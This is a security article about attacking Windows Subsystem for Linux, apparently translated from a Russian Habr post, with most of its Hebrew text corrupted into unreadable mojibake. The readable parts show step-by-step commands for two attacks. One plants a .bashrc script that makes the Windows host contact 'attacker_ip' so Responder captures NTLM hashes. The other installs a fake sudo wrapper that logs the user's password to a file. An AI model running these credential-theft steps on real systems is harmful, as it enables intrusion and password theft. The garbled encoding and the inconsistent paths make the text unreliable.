ืฉืืื, ืืืืจ! OTUS ืืฉืืงื ืืจื ืงืืจืก ืืืฉ ืืืืงืืืืจ
ืืฉื ืช 2016, ืืืงืจืืกืืคื ืืฆืืื ืืช ืืื ืืืืืืืช WSL ืืืืฉื ืืงืืืืช ื-IT (Windows Sืืขืจืืช ืชืช ืขืืืจ Linux), ืืฉืจ ืืืคืฉืจื ืืขืชืื ืืืื ืืชืืจืื ืืืชื ื ืืชื ืื ืืืืฉืืจ ืืขืืจ, ืฉื ืืืงื ืขื ืืคืืคืืืจืืืช ืืงืจื ืืฉืชืืฉื ืืขืจืืช ืืคืขืื ืจืืืืื ืืืชืงืืืื ืืืื: Windows ืืืื ืืงืก. ืืื ืืืืืื ืื ืืคืฉืจื ืืืฉืชืืฉ ืืืื ืืขืจืืช ืืืคืขืื Linux ืืกืืืืช Windows ืืื ืฆืืจื ืืืคืขืืช ืืื ืืงืก, ืืืฉื ืืืืฆืขืืช Multi-boot. ืืืชืจ Habr ื ืืชื ืืืฆืื ืืกืคืจ ืจื ืฉื ืืืืจืื ืืืชืืจืื ืืช ืืืชืจืื ืืช ืฉื ืืฉืืืืฉ ื-WSL. ืขื ืืืช, ืืืจืื ืืฆืขืจ, ืืืื ืืฆืืจืช ืืืืจ ืื, ืื ื ืืฆืื ืืืงืจืื ืขื ืืืืืื ืฉื ืกืืืืืืื ืืื ืฉื ืืขืจืืืช ืืคืขืื ืขื ืืฉืื ืื. ืืคืืกื ืืื ืืืื ื ืืกืืื ืืชืงื ืืืช. ืืืืืจ ืืืืจ ืขื ืืชืืื ืืช ืฉื ืืจืืืืงืืืจืืช WSL 1 ื-2 ืืืืื ืืกืคืจ ืืืืืืืช ืฉื ืืชืงืคืืช ืขื ืืขืจืืืช ืืืฉืชืืฉืืช ืืืื ืืืืืืืช ืืื. ืืืืืจ ืืืืืง ื-2 ืืืงืื. ืืจืืฉืื ืืกืคืง ืืช ืฉืืืืช ืืืชืงืคื ืืชืืืืจืืืืช ืืขืืงืจืืืช ื-Linux ื-Windows. ืืืืืจ ืืฉื ื ืืืืื ืืงืืช ืกืืืืช ืืืืงื ืืฉืืืืจ ืืืชืงืคืืช.
WSL 1: ืืืคืืื ืื ืืืจืืืืืื
ืืฆืืืื ืืืืืืงืช ืืืืชืจ ืืืขืืืช ืืืืืช WSL, ืืฉ ืฆืืจื ืืงืืืข ืืช ืื ืืืื ืกืื ืืขืืงืจืืื ืืงืฉืืจืื ืืืืฉืื ืชืช-ืืืขืจืืช. ืืืช ืืืฉืืืืช ืืืฉืชืืฉ ืืขืืงืจืืืช ืฉื ืคืชืจื ืขื ืืื WSL ืืื ืืืืืืช ืืขืืื ืืจื ืืกืืฃ ืืื ืืงืก ืขื ืืืจื ืืืจืืฅ ืืช ืืขืจืืช ืืืคืขืื Windows. ืืื ืื, ืืชืืืืืช ืฉืืืฆืขื ืืืืชื ืื ืื ืืงืืจืืช ืขื ืฉื ืืชื ืืื ืืืคืขืื ืงืืืฆื ืืคืขืื ืฉื ืืื ืืงืก (ELFs) ืืฉืืจืืช ืขื ืืขืจืืช Windows. ืืื ืืืฉืื ืืช ืืืืจืืช ืืืื, ื ืืฆืจื ืชืช-ืืขืจืืช ืืืืืืช ื-Windows 10 ืืืืคืฉืจืช ืืืจืืฅ ืืคืืืงืฆืืืช ืืื ืืงืก ืืืืฆืขืืช ืกื ืงืจืืืืช ืืขืจืืช ืกืคืฆืืคืืืช - ืื ื ืขืฉื ื ืืกืืื ืืืคืืช ืกื ืฉื ืืขืจืืช ืืขืจืืืช ืืื ืืงืก ื-Windows. ืื ืืืฉื ืคืืืืช ืขื ืืื ืืืกืคืช ืื ืืื ืืชืงื ืื ืืืฉืื ืืคืืจืื ืชืืืื ืืืฉ. ืืืืื ื ืืืืืืืืช ืืืจืืืืงืืืจื ื ืจืืชื ืื:
ืืืขืฉื, ืืืื ืืจืืงืฆืื ืขื ืืขืจืืช ืืืคืขืื ืืื ืืงืก ืืืจืื ื ืืืืฆืขืืช ืืกืคืจ ืืืืืื ืืืื ืืกืื ืืืืื ืฉื ืชืืืื - pico. ืืืชืจืฉืื ืฉืืืขืื, ืืชื ืืืื ืืจืืืช ืฉืืชืืืื ืฉืคืืขื ืขื ืืืคืข Linux ืืืืจื ืืืื ืืืืืช ืืงืืจื ืืืืื ืืืฉืชืืฉ ืืืืชื ืืฉืืืื ืืื ืืืฉืืื Windows ืจืืืืื. ืืื ืืื ืืืฉืื ืืืช? ืืคืจืืืงื
ืฉืืื ืื ืฉืืืคืฉืื ืืืืฆืขืช ืืคืฉืจื ืื ืืืชืืงื ืืืขืจืืช ืืืคืขืื (ืืคืจื, Windows), ืฉืื ืฆืคืื ืืืชืืื ืชืืืื ืฉื ืืขืจืืช ืืคืขืื ืืืจืช, ืืืฆืืขื ืืืฉื ืืืืืช.
ืืคืืื, ืื ืืืฉืื ืืชืื ืชืืืื pico ืืืื ืืคืขืื ืืื ืงืฉืจ ืืืืืช Windows:
- ืืขืืืช ืฉื ืชืืืืืช ืืชืจืืื ืฉื ืฉืืืืช ืืขืจืืช ืืืืืืช ืืืืคืชืจ ืขื ืืื ืกืคืงืื ืืืืืืื;
- ืืงืจืช ืืืืฉื ืืืืืช ืืืชืืฆืข ืืืืฆืขืืช ืืื ืืืืจ ืืืืืื. ืืืื ืืืืจ ืืืืงื ืืงืจื ื ืืืื ืืืื ืืช ื ืืงืงื ืืฉืืจืื ืืืืืช ืืจืืืืจ ืืืฉ ืฉืืืื ืืฉืืฉ ืืกืคืง ืืชืืืืืื ืืืื. ืชืืืื ืืื-ืืืคืืก ืฉื ืคืืงื ืืืฆื ืืืืคื ืกืืืื ืืืื:
ืืืืืื ืฉืืขืจืืช ืืงืืฆืื ืืื ืืงืก ืืฉืชืืฉืช ืืฉืืืช ืงืืฆืื ืืกืคืจืืืช ืชืืืื-ืจืืฉืืืช, ื ืืกืคื 2 ืกืืืื ืฉื ืืขืจืืืช ืงืืฆืื ื-Windows ืืื ืืขืืื ืขื WSL - VolFS ื-DriveFS. VolFS ืืื ืืืฉืื ืฉื ืืขืจืืช ืืงืืฆืื ืืื ืืงืก, DriveFS ืืื ืืขืจืืช ืงืืฆืื ืฉืคืืขืืช ืืคื ืืืื Windows, ืื ืืขืืช ืืืืืช ืืืืืจ ืจืืืฉืืช ืจืืฉืืืช.
WSL 2
ื-WSL 1 ืืื ืืกืคืจ ืืืืืืช ืฉืื ืืคืฉืจื ืืืฉืชืืฉ ืื ืืื ืืคืชืืจ ืืช ืืืืื ืืืฉืืืืช ืืืงืกืืืื: ืืืฉื, ืื ืืืืชื ืื ืืืืืช ืืืจืืฅ ืืืฉืืื ืืื ืืงืก ืฉื 32 ืกืืืืืช, ืืื ืืคืฉืจ ืืื ืืืฉืชืืฉ ืืื ืืื ืืชืงื ืื. ืืื, ืืฉื ืช 2020, ืฉืืืจืจ WSL 2, ืฉืฉืื ื ืืช ืืืืฉื ืืื ืืืช ืชืช-ืืืขืจืืช. WSL 2 ืืื ืืืื ื ืืืจืืืืืืช ืืืชืืืช ืืชืืืืช ืืช ืืืคืืื ื ืฆืจืืืช ืืืฉืืืื ืฉื WSL 1. ืืขืช, ืืืชืื ืืืขืืืช ืฉื ืคืชืจื ืขื ืืื ืืฉืชืืฉ ืืขืจืืช ืืืคืขืื Windows, ืืชื ืืืื ืืืืืจ ืืช ืืืจืกื ืื ืืจืฉืช ืฉื ืชืช-ืืขืจืืช ืืื ืืงืก. ืืื ืืฆืืฆื ืคืืืขืืืืช ืืคืฉืจืืืช, WSL 2 ืืืืืข ืืืชืืกืก ืขื Hyper-V ื-Windows 10. ืืฆืืจื ืื, ื-Windows ืืฉ ืืช ืืืืืืช ืืืจืืฅ ืืช ืืืืช ืืขืจืืช ืืืคืขืื ืืื ืืงืก ืืืืืื. ืืืื ืืืืืจ ืฉืืจืกื 1 ืฉื WSL ืืืฆืื ืืคืืฆ'ืจ ืืื ืฉืืืืจ ืืื ืืืจืืืช ืืช ืืืืื ืืคืืชืื ืฉื Windows ืืชืืื ืื, ืื ืฉืืืขืืจ ื-Hyper-V ืืื ืืืชื ื ืื ืข. ืืืจืืืืงืืืจื ืืกืืคืืช ื ืจืืืช ืื:
ืืืจืกื ืื, ืืืจืขืื ื Windows ืืืื ืืงืก ืืฉ ืืฉืืืื ืืฉืืื ืืืฆืืืช ืงืืืืช ืจืง ืืืขืจืืช ืืงืืฆืื, ืื ืฆืืืช ืื ืืื ื ืฉืื. ืืื ืืจืืงืฆืื ืืื ืืขืจืืืช ืงืืฆืื ืืชืืฆืขืช ืืืืฆืขืืช ืืขืืคืช ืฉืจืช-ืืงืื ืืคืืขืืช ืืืืฆืขืืช ืคืจืืืืงืื 9P.
ืืืื ืืืงืจืืกืืคื ืืกืคืงืช ืืช ืืืืืืช ืืขืืืจ ืืื WSL 1 ื-WSL 2. ืฉืชื ืืืจืกืืืช ืืืื ืืช ืืฉืืืืฉ.
ืืืืืช WSL
ืืจืืข, ืืฉื ื ืืกืคืจ ืขืืืืืช ืืืชืืจืืช ืืื ืืืฉืืช ืืฉืืืืฉ ืืืื ืืขืจืืช ืืคืขืื ืืืืืืืืื ืืื ืืชืงืืฃ ืืช ืืชืงืฉืืจืช ืืื ืชืช-ืืขืจืืืช. ืื ื ื ืฉืชืืฉ ืืกืงืจืืคืืื ืฉืืื ืืื ืืืืืง ืืช ืืจืืืื ืืืืช ืฉื ืืืชืงืคืืช ืืืื ืืืชืืื. ืจืฉืืื ืืืืืช ืฉื ืืชืงืคืืช ืืชืจืืืฉืื:
1. ืืืืขืช ืืขืจืืช ืงืืฆืื: ืืืืืืช ืืืฉื, ืืืื ืืช ืฉื ืกืคืจืืืช ืืฉืืชืคืืช/ืื ืื ืื ื ืืืืืคื ื ืชืื ืื.
ืืืงืจ ื ืขืจื ืืื ืืงืืืข ืืคืจืืช ืฉื ืืืื ืืืฉื ื Linux FS->Windows FS, Windows FS->Linux FS. ืืืงืจ ืืืืื ืืช ืืืืืืช ืืฉื ืืช ืงืืืฅ ื ืชืื ืืชืื ืืขืจืืช ืืืคืขืื ืฉื ืืืขื. ืืื ืื ื ืขืฉื ื ืืกืืื ืืช ืืืืืืฃ, ืืืฆืืจ ืืคืืืืืืช ืืืืืืง ืืืง ืืืขืจืืืช ืืงืืฆืื.
ืชืจืืืฉ:
- ื. ืืชืงืคื ืืืขืจืืช ืืืคืขืื Windows - ืฉืื ืื ืงืืฆืื ืืกืคืจืืืช /etc ืฉื ืืขืจืืช ืืืคืขืื ืืื ืืงืก.
- ื. ืืชืงืคื ืืืขืจืืช ืืืคืขืื ืืื ืืงืก - ืฉืื ืื ืงืืฆืื ืืกืคืจืืืช:
C:Windows
,C:Program Files
,C:Users<User>
2. ืืืฉืื ืืืกื ืืช ืืจืฉืช.
ืืืืงืจ ืืืฆืข ืืืืฆืขืืช ืืืืืืืช ืฉื ืืชืงืคืืช ืืืขืจืืช ืืืคืขืื ืืื ืืงืก ืขื ืืืื ืืช. ื ืขืฉื ืฉืืืืฉ ืืชืืื ืืช ืฉื ืืืกื ืืช ืืจืฉืช, ืืืืืจ, ืื ืื ืื ื ืืืืืช ืืืฉืืืื ืฉืื ืื.
ืชืจืืืฉ:
- ืคืชืืืช ืืืฉื ืืืฆืืื ืฉืชืคืืกื ืืืขืจืืช Windows
- ืคืชืืืช ื ืื ืืื ืืืืืืืช ืืืชืืืืืช
- ืืคืขืืช ืืขืืคืช ืืคืืื ืืืืฆืขืืช ืงืืืฅ elf ืืืขืจืืช ืืืคืขืื Windows.
3. ืืกืชืจืช ืืฉืงืช ืชืืืืื ืชืืื ื ืืืื ืืื ืืืืฆืขืืช ืชืช-ืืืขืจืืช WSL.
ืืืืงืจ ืืชืืกืก ืขื ืขืืืื ืคืฉืืื - ืชืช-ืืขืจืืืช ืืืืื ืื ืืืืืืช ืืืืจื ืืืจืืขืื ืืืืื ืืืจืช ืฉืขืืืืช ืืืืฆืขืืช ืกืคืง ืืืืืืื ืืืขืจืืช ืืืคืขืื ืืืงืจื ืฉื WSL 1. ืืืงืจื ืฉื WSL 2, ืืื ืืจื ืืจืืืช ืืืจืืขืื ืืืชืจืืฉืื ืืืืื ื ืคืจืืช ืืชืื ืืืื ื ืืืจืืืืืืช ืงืืช ืืฉืงื.
ืชืจืืืฉ:
1) ืืคืขื ืืช ืืืคืืืงืฆืื ืืืืฉื ืืจืืืง ืืืขืจืืช ืืืฆื ืืช ืืืืจืืขืื ืฉื ืจืฉืื.
ื ืืกืืื WSL 1: ืืืจืื ืืืืื (Windows)
ืืืกืืฃ ืืืขื ื ืืืืง ืืืขืฉื. ืจืืฉืืช, ืขืืื ืืืืืืจ ืืช ืกืืืืช ืืืืืงื. ืื ืื ืืกืืืื ืืชืืฆืขื ืขื ืกืคืกื ืขื Windows 10 2004. ืชืืื ืช Ubuntu 18.04 ื ืืืจื ืืชืืื ืช ืืขืจืืช ืืืคืขืื ืขืืืจ WSL. ืืชืืื ื ื ืืืจื ืืืงืจืื, ืืื ืชืืื ื ืืืจืช ืชืขืืื ืืืชื ืืืืจ. ืคืงืืืืช ืืืงืืช ืืืื:
ืชืืืื ืขืืื ืืืคืขืื powershell.exe
ืืื ืื.
ืขืืืจ WSL 1 ืืชื ืฆืจืื ืืืคืขืื ืืช ืืคืงืืืืช:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะะบะปััะธัั ััะฝะบัะธั WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ะะฐะณััะทะธัั ะพะฑัะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft
Ubuntu.appx install โroot #ะฃััะฐะฝะพะฒะธะผ ะพะฑัะฐะท
ะะพะทะผะพะถะฝะพ, ะฟัะธะดะตััั ะฟัะพะบะปะธะบะฐัั ะฟัะพัะตัั ะฝะฐัััะพะนะบะธ ะธ ัะพะทะดะฐัั ะฝะพะฒะพะณะพ ะฟะพะปัะทะพะฒะฐัะตะปั, ะบะพัะพััะน ะฑัะดะตั ะธะผะตัั ะผะตะฝััะต ะฟัะฐะฒ, ัะตะผ root. ะะปั ะฝะฐัะธั
ัะตััะพะฒ ััะพ ะฑัะดะตั ะพะฑััะฝัะน ะฟะพะปัะทะพะฒะฐัะตะปั sam.
Restart-Computer #ะะตัะตะทะฐะณััะทะธะผ
ืืืืจ ืืชืืื ืืืืฉ ืฉื ืืืขืื, ืืชื ืืืื ืืงืจืื ืืคืงืืื bash. ืื ืืื ืขืื ืืฉืืจื, ืชืจืื ืคืื ืืืื ืืื ืืงืื ืกืืืช Windows:
ืื ื ื ืฉืชืืฉ ืืืคืฆืช Kali Linux ืืืืฉื ืฉื ืืชืืงืฃ; ืื ืืืืื ืืช ืืืืืืช ืืืืืช ืืืืชื ืจืฉืช ืืงืืืืช.
ื ื ืื ืฉืืฉ ืื ื ืืืฉื ืืื ืคืจืืืืืืื ื-WSL ืืืืฉื Windows. ืืืื ื ื ืกื ืืชืงืืฃ ืืช ืืขืจืืช ืืืคืขืื ืืื ืืงืก ืขื ืืื ืงืจืืื ืืคืงืืื ื-Linux. ืืื ืืืืฉื ืืช ืืืชืงืคื, ื ืฉืชืืฉ ืืืื ืืงืช ืืคืขืื ืืืืืืืืช ืคืฉืืื โ ื ืืกืืฃ ืืช ืืกืงืจืืคื ืฉืื ื ืืืืฆืืข ืืกืืืืช ืืื ืืงืก. ืืฉื ืื ืขืืื ืืฉื ืืช ืืช ืืงืืืฅ .bashrc
.
ืืืืื ื ืขื WSL ืื ื ืืืฆืขืื:
1. bash
2. ะะตัะตั
ะพะดะธะผ ะฒ ะดะพะผะฐัะฝัั ะดะธัะตะบัะพัะธั ะฟะพะปัะทะพะฒะฐัะตะปั: cd /home/sam/
2. echo ยซ/home/sam/.attack.shยป >> .bashrc
3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
4. chmod u+x .attack.sh
5. exit
ืขื ืืืื ืช Kali Linux ืื ื ืืจืืฆืื:
1. Responder -I eth0 -rdvw
ืืืืฉื Windows, ืืืื ื ืคืขืื ืืช bash.
ืื ื ืืืืื ืืชืืฆืื ืขื ืืืื ืช Kali Linux:
ืืคืืื, ืืฉืื ื ืืช ื-hash ืฉื ืืฉืชืืฉื Windows ืืจื ืชืช-ืืืขืจืืช WSL ืขื ืืื ืืืฆืืข ืืคืงืืื ืืืขืจืืช ืืื ืืงืก.
ื ืืกืืื WSL 1: ืืฉืืช ืกืืกืืช ืืฉืชืืฉ (Linux OS)
ืืืื ื ืขืฉื ืขืื ื ืืกืื ืืื. ืืืืื ืืืืงื ืื ื ืืกืืฃ ืืงืืืฅ .bashrc
ืืกืคืจ ืคืงืืืืช ืขื ืื ืช ืืงืื ืืช ืกืืกืืช ืืืฉืชืืฉ ืฉื ืืขืจืืช ืืืคืขืื ืืื ืืงืก.
ืืืื ื ืคืขืื ืืช bash ืื ืืื ืืช ืืคืงืืืืช:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
ืืื ืืืฉืืื ืืช ืืืชืงืคื ืืืฆืืื, ืืืฉืชืืฉ ืกื ืฆืจืื ืืงืจืื ื-sudo ืืืกืืฃ ืืื ืืงืก. ืืืืจ ืืื, ืกืืกืืช ืืืฉืชืืฉ ืฉื Linux OS ืชืืื ืืงืืืฅ pass.txt
:
ืืืฉืื ืืืชืงืคืืช ื ืืชื ืืืืืข ืชืืืืจืื ืืืื.
ืืืืง ืืื ืฉื ืืืืืจ ืืชืืจ ืืช ืืืืฉืื ืฉื ืคืจืืืืงืื 9P, ืืฉืงืื ืืฆืืจืช ืกืืจืง ืขืืืจ ืคืจืืืืงืื ืื, ืืื ืืืฆืข ืชืงืืคื ืืืืฆืขืืชื.
ืจืฉืืืช ืกืคืจืืช ืืฉืืืฉืืช
WSL 2 ืืืงืจ ืืชืื ืจืขืืช ืืขืจืืช ืืืฉื ื ืฉื Windows ืขืืืจ ืชืืขืื ืืื ืืงืก
ืงืจื ืขืื
ืืงืืจ: www.habr.com